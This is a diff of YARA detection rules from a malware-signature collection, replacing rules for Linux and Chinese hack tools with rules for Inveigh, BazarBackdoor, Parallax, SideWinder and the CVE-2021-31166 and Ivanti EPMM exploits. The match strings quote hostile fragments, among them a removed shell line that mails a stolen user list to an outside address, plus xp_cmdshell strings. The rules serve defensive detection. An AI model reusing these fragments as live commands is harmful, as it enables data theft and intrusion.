+		$s9 = "[Runtime.InteropServices.CallingConvention]::Winapi," fullword ascii
 
 	condition:
-		2 of them
+		( uint16(0)==0xbbef and filesize <200KB and 2 of them ) or (4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Linuxhacktool_Eyes_A
+rule SIGNATURE_BASE_Ps1_Toolkit_Inveigh_Bruteforce_3 : FILE
 {
 	meta:
-		description = "Linux hack tools - file a"
+		description = "Auto-generated rule - from files Inveigh-BruteForce.ps1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2b4f52d4-b438-5040-89c5-aab1df15200e"
-		date = "2015-01-19"
+		id = "d284e93b-dd65-5a39-84e2-287feb6ae05b"
+		date = "2016-09-04"
 		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2869-L2887"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "458ada1e37b90569b0b36afebba5ade337ea8695"
-		logic_hash = "a246eb907fd6525c96c911acde6b513fca68248ef8d4f8fa64039791942950ab"
-		score = 75
+		reference = "https://github.com/vysec/ps1-toolkit"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_powershell_toolkit.yar#L228-L248"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "09afe669e90bd73318a9f9f68fda362451f6611f8585de67176c5dc43f05f937"
+		score = 80
 		quality = 85
-		tags = ""
+		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash3 = "a2ae1e02bcb977cd003374f551ed32218dbcba3120124e369cc150b9a63fe3b8"
 
 	strings:
-		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
-		$s1 = "mv scan.log bios.txt" fullword ascii
-		$s2 = "rm -rf bios.txt" fullword ascii
-		$s3 = "echo -e \"# by Eyes.\"" fullword ascii
-		$s4 = "././pscan2 $1 22" fullword ascii
-		$s10 = "echo \"#cautam...\"" fullword ascii
+		$s1 = "::FromBase64String('TgBUAEwATQA=')" ascii
+		$s2 = "::FromBase64String('KgBTAE0AQgAgAHIAZQBsAGEAeQAgACoA')))" ascii
+		$s3 = "::FromBase64String('KgAgAGYAbwByACAAcgBlAGwAYQB5ACAAKgA=')))" ascii
+		$s4 = "::FromBase64String('KgAgAHcAcgBpAHQAdABlAG4AIAB0AG8AIAAqAA==')))" ascii
+		$s5 = "[Byte[]] $HTTP_response = (0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)`" fullword ascii
+		$s6 = "KgAgAGwAbwBjAGEAbAAgAGEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAIAAqAA" ascii
+		$s7 = "}.bruteforce_running)" ascii
 
 	condition:
-		2 of them
+		( uint16(0)==0xbbef and filesize <200KB and 2 of them ) or (4 of them )
 }
-import "pe"
-
-rule SIGNATURE_BASE_Linuxhacktool_Eyes_Mass
+rule SIGNATURE_BASE_EXPL_CVE_2021_31166_Accept_Encoding_May21_1 : CVE_2021_31166
 {
 	meta:
-		description = "Linux hack tools - file mass"
+		description = "Detects malformed Accept-Encoding header field as used in code exploiting CVE-2021-31166"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5da0c474-2dc8-5580-bf5c-d3f464225e4c"
-		date = "2015-01-19"
+		id = "d0a79cdc-f3ee-58f9-805c-ec9eb7993315"
+		date = "2021-05-21"
 		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2889-L2906"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "2054cb427daaca9e267b252307dad03830475f15"
-		logic_hash = "5bf17d1a8ae78681d2c3cba8511019ddf85e6d7a242900b56848521eef40ffc6"
-		score = 75
+		reference = "https://github.com/0vercl0k/CVE-2021-31166"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_cve_2021_31166.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5bb5b4093a7abe9d4297a4c047803b92f7c08f56f15b0f7bd163203ae47e026d"
+		score = 70
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2021-31166"
 
 	strings:
-		$s0 = "cat trueusers.txt | mail -s \"eyes\" clubby@slucia.com" fullword ascii
-		$s1 = "echo -e \"${BLU}Private Scanner By Raphaello , DeMMoNN , tzepelush & DraC\\n\\r" ascii
-		$s3 = "killall -9 pscan2" fullword ascii
-		$s5 = "echo \"[*] ${DCYN}Gata esti h4x0r ;-)${RES}  [*]\"" fullword ascii
-		$s6 = "echo -e \"${DCYN}@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#@#${RES}\"" fullword ascii
+		$xr1 = /[Aa]ccept\-[Ee]ncoding: [a-z\-]{1,16},([a-z\-\s]{1,16},|)*[\s]{1,20},/
 
 	condition:
 		1 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_Linuxhacktool_Eyes_Pscan2_2
+rule SIGNATURE_BASE_Crime_Win64_Backdoor_Bazarbackdoor1 : FILE
 {
 	meta:
-		description = "Linux hack tools - file pscan2.c"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3950b235-70bc-5afd-add5-38c50055b28b"
-		date = "2015-01-19"
+		description = "Detects BazarBackdoor injected 64-bit malware"
+		author = "@VK_Intel"
+		id = "1e387791-97fa-527d-87ed-68872b1891c4"
+		date = "2020-04-24"
 		modified = "2023-12-05"
-		reference = "not set"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2908-L2925"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "eb024dfb441471af7520215807c34d105efa5fd8"
-		logic_hash = "981514cf0887a1a7cb55fe9ed9dadd48adbf0f033e527b357e90e052a4c2d251"
+		reference = "https://twitter.com/pancak3lullz/status/1252303608747565057"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_bazarbackdoor.yar#L1-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "becb6ebc3a1be061b4f602cc188b172f59bfb6342605af68d8b38009d589f57e"
 		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		tlp = "white"
 
 	strings:
-		$s0 = "snprintf(outfile, sizeof(outfile) - 1, \"scan.log\", argv[1], argv[2]);" fullword ascii
-		$s2 = "printf(\"Usage: %s <b-block> <port> [c-block]\\n\", argv[0]);" fullword ascii
-		$s3 = "printf(\"\\n# pscan completed in %u seconds. (found %d ips)\\n\", (time(0) - sca" ascii
-		$s19 = "connlist[i].addr.sin_family = AF_INET;" fullword ascii
-		$s20 = "snprintf(last, sizeof(last) - 1, \"%s.%d.* (total: %d) (%.1f%% done)\"," fullword ascii
+		$str1 = "%id%"
+		$start = { 48 ?? ?? ?? ?? 57 48 83 ec 30 b9 01 00 00 00 e8 ?? ?? ?? ?? 84 c0 0f ?? ?? ?? ?? ?? 40 32 ff 40 ?? ?? ?? ?? e8 ?? ?? ?? ?? 8a d8 8b ?? ?? ?? ?? ?? 83 f9 01 0f ?? ?? ?? ?? ?? 85 c9 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 74 ?? b8 ff 00 00 00 e9 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? eb ?? 40 b7 01 40 ?? ?? ?? ?? 8a cb e8 ?? ?? ?? ?? e8 ?? ?? ?? ?? 48 8b d8 48 ?? ?? ?? 74 ??}
+		$server = {40 53 48 83 ec 20 48 8b d9 e8 ?? ?? ?? ?? 85 c0 75 ?? 0f ?? ?? ?? ?? ?? ?? 66 83 f8 50 74 ?? b9 bb 01 00 00 66 3b c1 74 ?? a8 01 74 ?? 48 8b cb e8 ?? ?? ?? ?? 84 c0 75 ?? 48 8b cb e8 ?? ?? ?? ?? b8 f6 ff ff ff eb ?? 33 c0 48 83 c4 20 5b c3}
 
 	condition:
-		2 of them
+		uint16(0)==0x5a4d and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Portscan : APT FILE
+rule SIGNATURE_BASE_SUSP_Obfuscated_JS_Obfuscatorio : HIGHVOL FILE
 {
 	meta:
-		description = "CN Port Scanner"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fb52a89a-2270-5170-9874-9278a0177454"
-		date = "2013-11-29"
+		description = "Detects JS obfuscation done by the js obfuscator (often malicious)"
+		author = "@imp0rtp3"
+		id = "d808f96c-21c9-59c7-b3c7-f118d39d564e"
+		date = "2021-08-25"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2927-L2941"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e1b745bd321527cee3eb203847d00c9eda4a7b1e498cb8f0ad6b588f87221759"
-		score = 70
+		reference = "https://obfuscator.io"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_susp_js_obfuscatorio.yar#L1-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "813df8459e4a53a084dc1f902713af74747a0c2f4ef535e682de38acba9b0e5e"
+		score = 50
 		quality = 85
-		tags = "APT, FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		confidential = false
+		tags = "HIGHVOL, FILE"
 
 	strings:
-		$s2 = "TCP 12.12.12.12"
+		$a1 = "var a0_0x"
+		$c1 = "))),function(){try{var _0x"
+		$c2 = "=Function('return\\x20(function()\\x20'+'{}.constructor(\\x22return\\x20this\\x22)(\\x20)'+');');"
+		$c3 = "['atob']=function("
+		$c4 = ")['replace'](/=+$/,'');var"
+		$c5 = "return!![]"
+		$c6 = "'{}.constructor(\\x22return\\\x20this\\x22)(\\x20)'"
+		$c7 = "{}.constructor(\x22return\x20this\x22)(\x20)" base64
+		$c8 = "while(!![])"
+		$c9 = "while (!![])"
+		$d1 = /(parseInt\(_0x([a-f0-9]{2}){2,4}\(0x[a-f0-9]{1,5}\)\)\/0x[a-f0-9]{1,2}\)?(\+|\*\()\-?){6}/
 
 	condition:
-		uint16(0)==0x5A4D and $s2
+		$a1 at 0 or ( filesize <1000000 and (3 of ($c*) or $d1))
 }
-import "pe"
-
-rule SIGNATURE_BASE_WMI_Vbs : APT
+rule SIGNATURE_BASE_Crime_Win32_Parallax_Loader_1 : FILE
 {
 	meta:
-		description = "WMI Tool - APT"
-		author = "Florian Roth (Nextron Systems)"
-		id = "b367306a-38d8-5f4d-8f09-2bf025831f0a"
-		date = "2013-11-29"
+		description = "Detects Parallax Loader"
+		author = "@VK_Intel"
+		id = "5e030b68-3c29-5203-bb4e-f01850bfbbab"
+		date = "2020-02-24"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2943-L2957"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "94163981c1a80838d1bea1b21f713f1d8fbdac8704319d1a145f0b4f6d8ff3f6"
-		score = 70
+		reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_parallax_rat.yar#L2-L18"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1331e7b69fd9b14b5d2dae45b452b385e48018290d91de33a4f4a5ebcce4805b"
+		score = 75
 		quality = 85
-		tags = "APT"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		confidential = false
+		tags = "FILE"
+		hash1 = "829fce14ac8b9ad293076c16a1750502c6b303123c9bd0fb17c1772330577d65"
 
 	strings:
-		$s3 = "WScript.Echo \"   $$\\      $$\\ $$\\      $$\\ $$$$$$\\ $$$$$$$$\\ $$\\   $$\\ $$$$$$$$\\  $$$$$$"
+		$main_call = { 68 81 85 50 00 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 00 10 00 00 68 b0 a2 00 00 ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 8c e1 4f 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 83 c4 0c 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 68 40 84 50 00 8d ?? ?? ?? ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c}
+		$decoder_call = { 55 8b ec 83 c4 f8 33 c0 89 ?? ?? 33 d2 89 ?? ?? 8b ?? ?? 3b ?? ?? 7d ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 8b ?? ?? 33 ?? ?? ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 89 ?? ?? 83 ?? ?? ?? 75 ?? 33 d2 89 ?? ?? eb ?? ff ?? ?? ff ?? ?? 8b ?? ?? 3b ?? ?? 7c ?? 59 59 5d c3}
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <2000KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Toolset__Xscanlib_Xscanlib_Xscanlib
+rule SIGNATURE_BASE_Crime_Win32_Parallax_Payload_1 : FILE
 {
 	meta:
-		description = "Detects a Chinese hacktool from a disclosed toolset - from files XScanLib.dll, XScanLib.dll, XScanLib.dll"
-		author = "Florian Roth (Nextron Systems)"
-		id = "c32415f4-044c-50ef-9c4c-b9327cbcef69"
-		date = "2015-03-30"
+		description = "Detects Parallax Injected Payload v1.01"
+		author = "@VK_Intel"
+		id = "f3a23a28-e322-59ff-85e0-72e44def5c02"
+		date = "2020-02-24"
 		modified = "2023-12-05"
-		reference = "http://qiannao.com/ls/905300366/33834c0c/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2959-L2980"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f7f66f1f3ca05e60ac850fbb94c471f664d2dc8a60c09b18686c9f2937296697"
-		score = 70
+		reference = "https://twitter.com/VK_Intel/status/1227976106227224578"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_parallax_rat.yar#L20-L38"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3a1718d7caea5bd6741dd39fc16f955e1d3c73a282d51eda5b63c3352404529e"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash0 = "af419603ac28257134e39683419966ab3d600ed2"
-		hash1 = "c5cb4f75cf241f5a9aea324783193433a42a13b0"
-		hash2 = "135f6a28e958c8f6a275d8677cfa7cb502c8a822"
+		tags = "FILE"
+		hash1 = "20d0be64a0e0c2e96729143d41b334603f5d3af3838a458b0627af390ae33fbc"
 
 	strings:
-		$s1 = "Plug-in thread causes an exception, failed to alert user." fullword
-		$s2 = "PlugGetUdpPort" fullword
-		$s3 = "XScanLib.dll" fullword
-		$s4 = "PlugGetTcpPort" fullword
-		$s11 = "PlugGetVulnNum" fullword
+		$zwdelay_prologue = { 66 ?? ?? ?? 66 83 c1 01 66 ?? ?? ?? 50 b8 cb cb cb cb 89 ?? ?? ?? ?? ?? 58 8b ?? ?? ?? ?? ?? 89 ?? ?? 68 88 13 00 00 8b ?? ?? 8b ?? ?? 51 e8 ?? ?? ?? ??}
+		$wininet_call = { b8 77 00 00 00 66 ?? ?? ?? b9 69 00 00 00 66 ?? ?? ?? ba 6e 00 00 00 66 ?? ?? ?? b8 69 00 00 00 66 ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ba 65 00 00 00 66 ?? ?? ?? b8 74 00 00 00 66 ?? ?? ?? 33 c9 66 ?? ?? ?? 8d ?? ?? 52 8b ?? ?? 8b ?? ?? ff d1 89 ?? ?? 6a 00 68 0c fc e5 f2 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 3d a8 16 da 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 e0 05 65 01 8b ?? ?? 51 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 f5 98 c0 6c 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 24 1d 19 e5 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 68 a8 ed f2 ce 8b ?? ?? 8b ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c 89 ?? ?? 6a 00 6a 00 ff ?? ?? 85 c0 75 ?? 68 88 13 00 00 ff ?? ?? eb ?? 6a 00 68 00 01 00 04 6a }
+		$rand_png_call = { b8 25 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 78 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 2e 00 00 00 66 ?? ?? ?? ?? ?? ?? b8 70 00 00 00 66 ?? ?? ?? ?? ?? ?? b9 6e 00 00 00 66 ?? ?? ?? ?? ?? ?? ba 67 00 00 00 66 ?? ?? ?? ?? ?? ?? 33 c0 66 ?? ?? ?? ?? ?? ?? 6a 64 6a 40 8b ?? ?? 8b ?? ?? ff d2 89 ?? ?? 8b ?? ?? 50 68 00 e1 f5 05 68 10 27 00 00 e8 ?? ?? ?? ??}
 
 	condition:
-		all of them
+		uint16(0)==0x5a4d and filesize <100KB and 2 of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Toolset_Ntscan_Pipecmd
+rule SIGNATURE_BASE_APT_Sidewinder_NET_Loader_Aug_2020_1_1 : FILE
 {
 	meta:
-		description = "Detects a Chinese hacktool from a disclosed toolset - file PipeCmd.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "056ee42d-23f4-5b03-b240-392bc92b90b0"
-		date = "2015-03-30"
+		description = "Detected the NET loader used by SideWinder group (August 2020)"
+		author = "Arkbird_SOLG"
+		id = "61d96e2a-3a43-586f-85bc-a2c53b1318e6"
+		date = "2020-08-24"
 		modified = "2023-12-05"
-		reference = "http://qiannao.com/ls/905300366/33834c0c/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L2982-L3006"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "a931d65de66e1468fe2362f7f2e0ee546f225c4e"
-		logic_hash = "2dab5a4de2abeff5659aa90fbc82bef359937ca9e45e8805b509baeb16943531"
-		score = 70
-		quality = 60
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		reference = "https://twitter.com/ShadowChasing1/status/1297902086747598852"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sidewinder.yar#L4-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "5ee7029143c589f26e6c325e163bfac85507c950f09778bd51ec2bdf4d4263fa"
+		score = 75
+		quality = 83
+		tags = "FILE"
+		hash1 = "4a0947dd9148b3d5922651a6221afc510afcb0dfa69d08ee69429c4c75d4c8b4"
 
 	strings:
-		$s2 = "Please Use NTCmd.exe Run This Program." fullword ascii
-		$s3 = "PipeCmd.exe" fullword wide
-		$s4 = "\\\\.\\pipe\\%s%s%d" fullword ascii
-		$s5 = "%s\\pipe\\%s%s%d" fullword ascii
-		$s6 = "%s\\ADMIN$\\System32\\%s%s" fullword ascii
-		$s7 = "%s\\ADMIN$\\System32\\%s" fullword ascii
-		$s9 = "PipeCmdSrv.exe" fullword ascii
-		$s10 = "This is a service executable! Couldn't start directly." fullword ascii
-		$s13 = "\\\\.\\pipe\\PipeCmd_communicaton" fullword ascii
-		$s14 = "PIPECMDSRV" fullword wide
-		$s15 = "PipeCmd Service" fullword ascii
+		$a1 = "DUSER.dll" fullword wide
+		$s1 = "UHJvZ3JhbQ==" fullword wide
+		$s2 = "U3RhcnQ=" fullword wide
+		$s3 = ".tmp           " fullword wide
+		$s4 = "FileRipper" fullword ascii
+		$s5 = "copytight @" fullword wide
 
 	condition:
-		4 of them
+		uint16(0)==0x5a4d and filesize <4KB and $a1 and 3 of ($s*)
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Toolset_Lscanportss_2
+rule SIGNATURE_BASE_APT_MAL_Sidewinder_Implant : FILE
 {
 	meta:
-		description = "Detects a Chinese hacktool from a disclosed toolset - file LScanPortss.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "0a796585-5fc8-5b55-acfc-3fe87308b681"
-		date = "2015-03-30"
+		description = "Detects SideWinder final payload"
+		author = "AT&T Alien Labs"
+		id = "3a420c9c-7821-5405-8d4d-6931d0f311ba"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "http://qiannao.com/ls/905300366/33834c0c/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3008-L3028"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4631ec57756466072d83d49fbc14105e230631a0"
-		logic_hash = "aeecdbef3fe6d66a209df10b44046783e53ef12f67c6877309cb219db4354733"
-		score = 70
+		reference = "https://cybersecurity.att.com/blogs/labs-research/a-global-perspective-of-the-sidewinder-apt"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_sidewinder.yar#L24-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "bfad86dbdc04463e7e4cc126fd05fc9107617a7ea1bd3f283c0e0170862bd59b"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "FILE"
+		hash1 = "c568238dcf1e30d55a398579a4704ddb8196b685"
 
 	strings:
-		$s1 = "LScanPort.EXE" fullword wide
-		$s3 = "www.honker8.com" fullword wide
-		$s4 = "DefaultPort.lst" fullword ascii
-		$s5 = "Scan over.Used %dms!" fullword ascii
-		$s6 = "www.hf110.com" fullword wide
-		$s15 = "LScanPort Microsoft " fullword wide
-		$s18 = "L-ScanPort2.0 CooFly" fullword wide
+		$code = { 1B 30 05 00 C7 00 00 00 00 00 00 00 02 28 03 00
+               00 06 7D 12 00 00 04 02 02 FE 06 23 00 00 06 73
+               5B 00 00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A
+               7D 13 00 00 04 02 02 FE 06 24 00 00 06 73 5B 00
+               00 0A 14 20 88 13 00 00 15 73 5C 00 00 0A 7D 15
+               00 00 04 02 7B 12 00 00 04 6F 0E 00 00 06 2C 1D
+               02 28 1F 00 00 06 02 7B 12 00 00 04 16 6F 0F 00
+               00 06 02 7B 12 00 00 04 6F 06 00 00 06 02 7B 12
+               00 00 04 6F 10 00 00 06 2C 23 02 28 20 00 00 06
+               02 28 21 00 00 06 02 7B 12 00 00 04 16 }
+		$strings = {
+         2E 00 73 00 69 00 66 00 00 09 2E 00 66 00 6C 00
+         63 00 00 1B 73 00 65 00 6C 00 65 00 63 00 74 00
+         65 00 64 00 46 00 69 00 6C 00 65 00 73
+      }
 
 	condition:
-		4 of them
+		uint16(0)==0x5A4D and all of them
 }
-import "pe"
-
-rule SIGNATURE_BASE_CN_Toolset_Sig_1433_135_Sqlr
+rule SIGNATURE_BASE_LOG_EXPL_Ivanti_EPMM_Mobileiron_Core_CVE_2023_35078_Jul23_1 : CVE_2023_35078
 {
 	meta:
-		description = "Detects a Chinese hacktool from a disclosed toolset - file sqlr.exe"
-		author = "Florian Roth (Nextron Systems)"
-		id = "74038975-ef06-53d6-bdcc-02706408b596"
-		date = "2015-03-30"
+		description = "Detects the successful exploitation of Ivanti Endpoint Manager Mobile (EPMM) / MobileIron Core CVE-2023-35078"
+		author = "Florian Roth"
+		id = "44cca0b5-3851-5786-82fd-ce3ccb566453"
+		date = "2023-07-25"
 		modified = "2023-12-05"
-		reference = "http://qiannao.com/ls/905300366/33834c0c/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-hacktools.yar#L3030-L3047"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8542c7fb8291b02db54d2dc58cd608e612bfdc57"
-		logic_hash = "14c9d104cfb71a2d3545bfb6274e3a282d4597f38057187d76adaf26fe2718fa"
-		score = 70
+		reference = "Ivanti Endpoint Manager Mobile (EPMM) CVE-2023-35078 - Analysis Guidance"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_ivanti_epmm_mobileiron_cve_2023_35078.yar#L2-L14"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ebc59032b7450aa438ca30170560c95550cda6ff7774b8ce1486309716da9e6c"
+		score = 75
 		quality = 85
-		tags = ""
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		tags = "CVE-2023-35078"
 
 	strings:
-		$s0 = "Connect to %s MSSQL server success. Type Command at Prompt." fullword ascii
-		$s11 = ";DATABASE=master" fullword ascii
-		$s12 = "xp_cmdshell '" fullword ascii
-		$s14 = "SELECT * FROM OPENROWSET('SQLOLEDB','Trusted_Connection=Yes;Data Source=myserver" ascii
+		$xr1 = /\/mifs\/aad\/api\/v2\/[^\n]{1,300} 200 [1-9][0-9]{0,60} /
 
 	condition:
-		all of them
+		$xr1
 }
-import "pe"
-
-rule SIGNATURE_BASE_Darkcomet_Keylogger_File : FILE
+rule SIGNATURE_BASE_MAL_WAR_Ivanti_EPMM_Mobileiron_Mi_War_Aug23 : CVE_2023_35078 FILE
 {
 	meta:
-		description = "Looks like a keylogger file created by DarkComet Malware"
-		author = "Florian Roth (Nextron Systems)"
-		id = "65058450-3ae3-5b85-bcc5-8bc1fab14614"
-		date = "2014-07-25"
+		description = "Detects WAR file found in the Ivanti EPMM / MobileIron Core compromises exploiting CVE-2023-35078"
+		author = "Florian Roth"
+		id = "cd16cf29-a90d-5c3f-b66f-e9264dbf79fb"
+		date = "2023-08-01"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
